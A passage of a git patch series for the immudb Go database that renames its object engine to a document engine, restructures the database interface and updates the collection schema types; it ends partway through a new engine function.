b/pkg/database/database.go index cd158c4fea..a2eff74fa5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -28,7 +28,7 @@ import ( "sync" "time" - "github.com/codenotary/immudb/embedded/object" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" @@ -51,6 +51,96 @@ var ErrNotReplica = errors.New("database is NOT a replica") var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") var ErrInvalidRevision = errors.New("invalid key revision number") +type DB interface { + GetName() string + + // Setttings + GetOptions() *Options + + Path() string + + AsReplica(asReplica, syncReplication bool, syncAcks int) + IsReplica() bool + + IsSyncReplicationEnabled() bool + SetSyncReplication(enabled bool) + + MaxResultSize() int + UseTimeFunc(timeFunc store.TimeFunc) error + + // State + Health() (waitingCount int, lastReleaseAt time.Time) + CurrentState() (*schema.ImmutableState, error) + + Size() (uint64, error) + + // Key-Value + Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) + VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) + + Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) + VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) + GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) + + Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) + + SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) + VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) + + Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) + + History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) + + ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) + + Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) + CountAll(ctx context.Context) (*schema.EntryCount, error) + + ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) + VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) + ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) + + // SQL-related + NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) + + SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + + InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) + InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) + + SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) + SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) + SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) + + VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) + + ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) + DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) + + // Transactional layer + WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error + WaitForIndexingUpto(ctx context.Context, txID uint64) error + + TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) + ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) + ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) + AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error + DiscardPrecommittedTxsSince(txID uint64) error + + VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) + TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) + + // Maintenance + FlushIndex(req *schema.FlushIndexRequest) error + CompactIndex() error + + IsClosed() bool + Close() error + + ObjectDatabase +} + type uuid = string type replicaState struct { @@ -62,10 +152,10 @@ type replicaState struct { type db struct { st *store.ImmuStore - sqlEngine *sql.Engine - objectEngine *sql.Engine - sqlInitCancel chan (struct{}) - sqlInit sync.WaitGroup + sqlEngine *sql.Engine + documentEngine *document.Engine + sqlInitCancel chan (struct{}) + sqlInit sync.WaitGroup mutex *instrumentedRWMutex closingMutex sync.Mutex @@ -126,7 +216,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } - dbi.objectEngine, err = sql.NewEngine(dbi.st, object.DefaultOptions()) + dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions()) if err != nil { return nil, err } @@ -139,7 +229,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l if op.replica { dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - dbi.objectEngine.SetMultiDBHandler(multidbHandler) + dbi.documentEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -163,15 +253,15 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) - dbi.Logger.Infof("Loading Object Engine for database '%s' {replica = %v}...", dbName, op.replica) + dbi.Logger.Infof("Loading document Engine for database '%s' {replica = %v}...", dbName, op.replica) - err = dbi.initObjectEngine(context.Background()) + err = dbi.initdocumentEngine(context.Background()) if err != nil { - dbi.Logger.Errorf("Unable to load Object Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + dbi.Logger.Errorf("Unable to load document Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return } - dbi.objectEngine.SetMultiDBHandler(multidbHandler) + dbi.documentEngine.SetMultiDBHandler(multidbHandler) }() @@ -210,8 +300,8 @@ func (d *db) initSQLEngine(ctx context.Context) error { return nil } -func (d *db) initObjectEngine(ctx context.Context) error { - err := d.objectEngine.SetCurrentDatabase(ctx, dbInstanceName) +func (d *db) initdocumentEngine(ctx context.Context) error { + err := d.documentEngine.SetCurrentDatabase(ctx, dbInstanceName) if err != nil && err != sql.ErrDatabaseDoesNotExist { return err } @@ -283,7 +373,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.objectEngine, err = sql.NewEngine(dbi.st, object.DefaultOptions()) + dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions()) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } @@ -300,19 +390,19 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - _, _, err = dbi.objectEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) + _, _, err = dbi.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - err = dbi.objectEngine.SetCurrentDatabase(context.Background(), dbInstanceName) + err = dbi.documentEngine.SetCurrentDatabase(context.Background(), dbInstanceName) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } } dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - dbi.objectEngine.SetMultiDBHandler(multidbHandler) + dbi.documentEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) return dbi, nil @@ -1652,6 +1742,6 @@ func logErr(log logger.Logger, formattedMessage string, err error) error { // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { - // TODO: add object store support for truncation too + // TODO: add document store support for truncation too return d.sqlEngine.CopyCatalogToTx(ctx, tx) } diff --git a/pkg/database/object_database.go b/pkg/database/document_database.go similarity index 82% rename from pkg/database/object_database.go rename to pkg/database/document_database.go index d549b13255..bef2d73dcd 100644 --- a/pkg/database/object_database.go +++ b/pkg/database/document_database.go @@ -4,7 +4,7 @@ import ( "context" "fmt" - "github.com/codenotary/immudb/embedded/object" + object "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" @@ -12,7 +12,7 @@ import ( ) const ( - defaultObjectBLOBField = "_obj" + defaultDocumentBLOBField = "_obj" ) // Schema to ValueType mapping @@ -68,9 +68,22 @@ var ( } ) +// ObjectDatabase is the interface for object database +type ObjectDatabase interface { + // GetCollection returns the collection schema + GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) + // CreateCollection creates a new collection + CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error + + // GetDocument returns the document + GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) + // CreateDocument creates a new document + CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) +} + // GetCollection returns the collection schema func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (resp *schemav2.CollectionInformation, err error) { - tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -132,16 +145,15 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat } primaryKeys = append(primaryKeys, name) // TODO: add support for other types - // TODO: add support for max length // TODO: add support for auto increment collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) } // add support for blob // TODO: add support for max length for blob storage - collectionSpec = append(collectionSpec, sql.NewColSpec(defaultObjectBLOBField, sql.BLOBType, 10000, false, false)) + collectionSpec = append(collectionSpec, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) - _, _, err := d.objectEngine.ExecPreparedStmts( + _, _, err := d.documentEngine.ExecPreparedStmts( context.Background(), nil, []sql.SQLStmt{sql.NewCreateTableStmt( @@ -156,14 +168,14 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat } func (d *db) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { - tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer tx.Cancel() // check if collection exists - table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), collection) + table, err := tx.Catalog().GetTableByName(d.documentEngine.CurrentDatabase(), collection) if err != nil { return nil, err } @@ -173,14 +185,14 @@ func (d *db) getCollectionSchema(ctx context.Context, collection string) (map[st // CreateDocument creates a new document func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { - tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return "", err } defer tx.Cancel() // check if collection exists - table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), req.Collection) + table, err := tx.Catalog().GetTableByName(d.documentEngine.CurrentDatabase(), req.Collection) if err != nil { return "", err } @@ -198,7 +210,7 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq values := make([]sql.ValueExp, 0) for _, col := range tcolumns { switch col.Name() { - case defaultObjectBLOBField: + case defaultDocumentBLOBField: document, err := object.NewDocumentFrom(doc) if err != nil { return "", err @@ -225,12 +237,12 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq } // add documents to collection - _, _, err = d.objectEngine.ExecPreparedStmts( + _, _, err = d.documentEngine.ExecPreparedStmts( ctx, nil, []sql.SQLStmt{ sql.NewUpserIntoStmt( - d.objectEngine.CurrentDatabase(), + d.documentEngine.CurrentDatabase(), req.Collection, cols, rows, @@ -251,12 +263,12 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques } op := sql.NewSelectStmt( - d.objectEngine.CurrentDatabase(), + d.documentEngine.CurrentDatabase(), req.Collection, exp, ) - r, err := d.objectEngine.QueryPreparedStmt(ctx, nil, op, nil) + r, err := d.documentEngine.QueryPreparedStmt(ctx, nil, op, nil) if err != nil { return nil, err } @@ -308,7 +320,7 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques resp.Results = append(resp.Results, document) if l == d.maxResultSize { - return nil, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ + return nil, fmt.Errorf("%w: found at least %d documents (the maximum limit). "+ "Query constraints can be applied using the LIMIT clause", ErrResultSizeLimitReached, d.maxResultSize) } @@ -340,7 +352,7 @@ func (d *db) generateBinBoolExp(ctx context.Context, collection string, expressi return nil, err } - colSelector := sql.NewColSelector(d.objectEngine.CurrentDatabase(), collection, exp.GetField(), "") + colSelector := sql.NewColSelector(d.documentEngine.CurrentDatabase(), collection, exp.GetField(), "") boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) } diff --git a/pkg/database/object_database_test.go b/pkg/database/document_database_test.go similarity index 100% rename from pkg/database/object_database_test.go rename to pkg/database/document_database_test.go diff --git a/pkg/database/interface.go b/pkg/database/interface.go deleted file mode 100644 index 5fd8b2d637..0000000000 --- a/pkg/database/interface.go +++ /dev/null @@ -1,115 +0,0 @@ -package database - -import ( - "context" - "crypto/sha256" - "time" - - "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/embedded/store" - "github.com/codenotary/immudb/pkg/api/schema" - schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" -) - -type DB interface { - GetName() string - - // Setttings - GetOptions() *Options - - Path() string - - AsReplica(asReplica, syncReplication bool, syncAcks int) - IsReplica() bool - - IsSyncReplicationEnabled() bool - SetSyncReplication(enabled bool) - - MaxResultSize() int - UseTimeFunc(timeFunc store.TimeFunc) error - - // State - Health() (waitingCount int, lastReleaseAt time.Time) - CurrentState() (*schema.ImmutableState, error) - - Size() (uint64, error) - - // Key-Value - Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) - VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) - - Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) - VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) - GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) - - Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) - - SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) - VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) - - Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) - - History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) - - ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) - - Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) - CountAll(ctx context.Context) (*schema.EntryCount, error) - - ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) - VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) - ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) - - // SQL-related - NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) - - SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - - InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) - InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) - - SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) - SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) - SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) - - VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) - - ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) - DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) - - // Transactional layer - WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error - WaitForIndexingUpto(ctx context.Context, txID uint64) error - - TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) - ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) - ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) - AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error - DiscardPrecommittedTxsSince(txID uint64) error - - VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) - TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) - - // Maintenance - FlushIndex(req *schema.FlushIndexRequest) error - CompactIndex() error - - IsClosed() bool - Close() error - - ObjectDatabase -} - -// ObjectDatabase is the interface for object database -type ObjectDatabase interface { - // GetCollection returns the collection schema - GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) - // CreateCollection creates a new collection - CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error - - // GetDocument returns the document - GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) - // CreateDocument creates a new document - CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) -} diff --git a/pkg/util/flatten.go b/pkg/util/flatten.go deleted file mode 100644 index 5bfce7206a..0000000000 --- a/pkg/util/flatten.go +++ /dev/null @@ -1,74 +0,0 @@ -package util - -import ( - "reflect" - "strconv" -) - -type Option struct { - Prefix string - Delimiter string - MaxDepth int -} - -func DefaultOption() *Option { - return &Option{ - Delimiter: ".", - } -} - -// Flatten takes a data map and returns a flattened map. -func Flatten(data map[string]interface{}, opts *Option) (m map[string]interface{}) { - if opts == nil { - opts = DefaultOption() - } - - return flatten(opts.Prefix, 0, data, opts) -} - -func flatten(prefix string, depth int, data interface{}, opts *Option) (res map[string]interface{}) { - res = make(map[string]interface{}) - - switch t := data.(type) { - case map[string]interface{}: - if opts.MaxDepth != 0 && depth >= opts.MaxDepth { - res[prefix] = t - return - } - if reflect.DeepEqual(t, map[string]interface{}{}) { - res[prefix] = t - return - } - for k, v := range t { - key := withPrefix(prefix, k, opts) - fmap := flatten(key, depth+1, v, opts) - mergeMap(res, fmap) - } - case []interface{}: - if reflect.DeepEqual(t, []interface{}{}) { - res[prefix] = t - return - } - for i, v := range t { - key := withPrefix(prefix, strconv.Itoa(i), opts) - fmap := flatten(key, depth+1, v, opts) - mergeMap(res, fmap) - } - default: - res[prefix] = t - } - return -} - -func withPrefix(prefix string, key string, opts *Option) string { - if prefix != "" { - return prefix + opts.Delimiter + key - } - return key -} - -func mergeMap(to map[string]interface{}, from map[string]interface{}) { - for kt, vt := range from { - to[kt] = vt - } -} diff --git a/pkg/util/flatten_test.go b/pkg/util/flatten_test.go deleted file mode 100644 index 8589bc296f..0000000000 --- a/pkg/util/flatten_test.go +++ /dev/null @@ -1,80 +0,0 @@ -package util - -import ( - "encoding/json" - "reflect" - "testing" -) - -func TestFlatten(t *testing.T) { - tests := []struct { - input string - option *Option - want map[string]interface{} - }{ - { - `{"foo": "bar"}`, - nil, - map[string]interface{}{"foo": "bar"}, - }, - { - `{"foo": true}`, - nil, - map[string]interface{}{"foo": true}, - }, - { - `{"foo": null}`, - nil, - map[string]interface{}{"foo": nil}, - }, - // nested once - { - `{"foo":{}}`, - nil, - map[string]interface{}{"foo": map[string]interface{}{}}, - }, - { - `{"foo":{"bar":"baz"}}`, - nil, - map[string]interface{}{"foo.bar": "baz"}, - }, - { - `{"foo":{"bar":true}}`, - nil, - map[string]interface{}{"foo.bar": true}, - }, - { - `{"foo":{"bar":null}}`, - nil, - map[string]interface{}{"foo.bar": nil}, - }, - // slice - { - `{"foo":{"bar":["one","two"]}}`, - nil, - map[string]interface{}{ - "foo.bar.0": "one", - "foo.bar.1": "two", - }, - }, - // custom delimiter - { - `{"foo":{"bar":{"again":"baz"}}}`, - &Option{ - Delimiter: "-", - }, - map[string]interface{}{"foo-bar-again": "baz"}, - }, - } - for i, test := range tests { - var input interface{} - err := json.Unmarshal([]byte(test.input), &input) - if err != nil { - t.Errorf("%d: failed to unmarshal test: %v", i+1, err) - } - got := Flatten(input.(map[string]interface{}), test.option) - if !reflect.DeepEqual(got, test.want) { - t.Errorf("%d: mismatch, got: %v want: %v", i+1, got, test.want) - } - } -} From c5efc572d0d358af1ae3013b2d5ec32b928c262b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Sun, 12 Mar 2023 07:41:48 +0530 Subject: [PATCH 0318/1062] chore(pkg/database): updated APIs with schema updates --- pkg/database/document_database.go | 22 +++++++++++----------- pkg/database/document_database_test.go | 18 +++++++++++------- pkg/server/db_dummy_closed.go | 2 +- 3 files changed, 23 insertions(+), 19 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index bef2d73dcd..fe94f257fe 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -6,8 +6,8 @@ import ( object "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" - schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" "google.golang.org/protobuf/types/known/structpb" ) @@ -17,9 +17,9 @@ const ( // Schema to ValueType mapping var ( - schemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ - schemav2.PossibleIndexType_STRING: sql.VarcharType, - schemav2.PossibleIndexType_INTEGER: sql.IntegerType, + schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ + schemav2.IndexType_STRING: sql.VarcharType, + schemav2.IndexType_INTEGER: sql.IntegerType, } // ValueType to ValueExp conversion @@ -104,21 +104,21 @@ func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetReque // iterate over indexes and extract primary and index keys for _, idx := range indexes { for _, col := range idx.Cols() { - var colType schemav2.PossibleIndexType + var colType schemav2.IndexType switch col.Type() { case sql.VarcharType: - colType = schemav2.PossibleIndexType_STRING + colType = schemav2.IndexType_STRING case sql.IntegerType: - colType = schemav2.PossibleIndexType_INTEGER + colType = schemav2.IndexType_INTEGER case sql.BLOBType: - colType = schemav2.PossibleIndexType_STRING + colType = schemav2.IndexType_STRING } // check if primary key if idx.IsPrimary() { - resp.PrimaryKeys[col.Name()] = colType + resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} } else { - resp.IndexKeys[col.Name()] = colType + resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} } } } @@ -139,7 +139,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat // validate primary keys for name, pk := range req.PrimaryKeys { - schType, isValid := schemaToValueType[pk] + schType, isValid := schemaToValueType[pk.Type] if !isValid { return fmt.Errorf("invalid primary key type: %v", pk) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index efb05ba1e8..bcdc0ec04f 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -4,11 +4,15 @@ import ( "context" "testing" - schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) +func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { + return &schemav2.IndexOption{Type: indexType} +} + func Test_db_CreateCollection(t *testing.T) { db := makeDb(t) @@ -16,8 +20,8 @@ func Test_db_CreateCollection(t *testing.T) { collectionName := "mycollection" err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ Name: collectionName, - PrimaryKeys: map[string]schemav2.PossibleIndexType{ - "id": schemav2.PossibleIndexType_INTEGER, + PrimaryKeys: map[string]*schemav2.IndexOption{ + "id": newIndexOption(schemav2.IndexType_INTEGER), }, }) require.NoError(t, err) @@ -61,10 +65,10 @@ func TestGenerateBinBoolExp(t *testing.T) { collectionName := "mycollection" err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ Name: collectionName, - PrimaryKeys: map[string]schemav2.PossibleIndexType{ - "id": schemav2.PossibleIndexType_INTEGER, - "country_id": schemav2.PossibleIndexType_INTEGER, - "pincode": schemav2.PossibleIndexType_INTEGER, + PrimaryKeys: map[string]*schemav2.IndexOption{ + "id": newIndexOption(schemav2.IndexType_INTEGER), + "country_id": newIndexOption(schemav2.IndexType_INTEGER), + "pincode": newIndexOption(schemav2.IndexType_INTEGER), }, }) require.NoError(t, err) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 86247b4900..7961d8b096 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -24,8 +24,8 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/database" ) From 21d384e220bf4c824cf3b6d5bc7fb028bf91220b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Sun, 12 Mar 2023 08:01:27 +0530 Subject: [PATCH 0319/1062] chore(pkg/database): add document engine abstraction --- embedded/document/engine.go | 349 +++++++++++++++++++++++++ embedded/sql/catalog.go | 71 ++--- embedded/sql/catalog_test.go | 2 +- embedded/sql/engine.go | 15 +- embedded/sql/options.go | 44 +--- embedded/sql/stmt.go | 8 +- pkg/database/document_database.go | 336 +----------------------- pkg/database/document_database_test.go | 2 +- 8 files changed, 386 insertions(+), 441 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 492f6001a4..cc003e7692 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1,8 +1,72 @@ package document import ( + "context" + "errors" + "fmt" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/schema" + "google.golang.org/protobuf/types/known/structpb" +) + +const ( + defaultDocumentBLOBField = "_obj" +) + +// Schema to ValueType mapping +var ( + schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ + schemav2.IndexType_STRING: sql.VarcharType, + schemav2.IndexType_INTEGER: sql.IntegerType, + } + + // ValueType to ValueExp conversion + valueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { + errType := fmt.Errorf("unsupported type %v", stype) + switch stype { + case sql.VarcharType: + _, ok := value.GetKind().(*structpb.Value_StringValue) + if !ok { + return nil, errType + } + return sql.NewVarchar(value.GetStringValue()), nil + case sql.IntegerType: + _, ok := value.GetKind().(*structpb.Value_NumberValue) + if !ok { + return nil, errType + } + return sql.NewNumber(int64(value.GetNumberValue())), nil + case sql.BLOBType: + _, ok := value.GetKind().(*structpb.Value_StructValue) + if !ok { + return nil, errType + } + return sql.NewBlob([]byte(value.GetStructValue().String())), nil + } + + return nil, errType + } + + valueTypeToFieldValue = func(tv sql.TypedValue) (*structpb.Value, error) { + errType := fmt.Errorf("unsupported type %v", tv.Type()) + value := &structpb.Value{} + switch tv.Type() { + case sql.VarcharType: + value.Kind = &structpb.Value_StringValue{StringValue: tv.Value().(string)} + return value, nil + case sql.IntegerType: + value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.Value().(int64))} + return value, nil + case sql.BLOBType: + value.Kind = &structpb.Value_StringValue{StringValue: string(tv.Value().([]byte))} + return value, nil + } + + return nil, errType + } ) func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { @@ -17,3 +81,288 @@ func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { type Engine struct { *sql.Engine } + +// TODO: Add support for index creation +func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pkeys map[string]*schemav2.IndexOption, idxKeys map[string]*schemav2.IndexOption) error { + primaryKeys := make([]string, 0) + 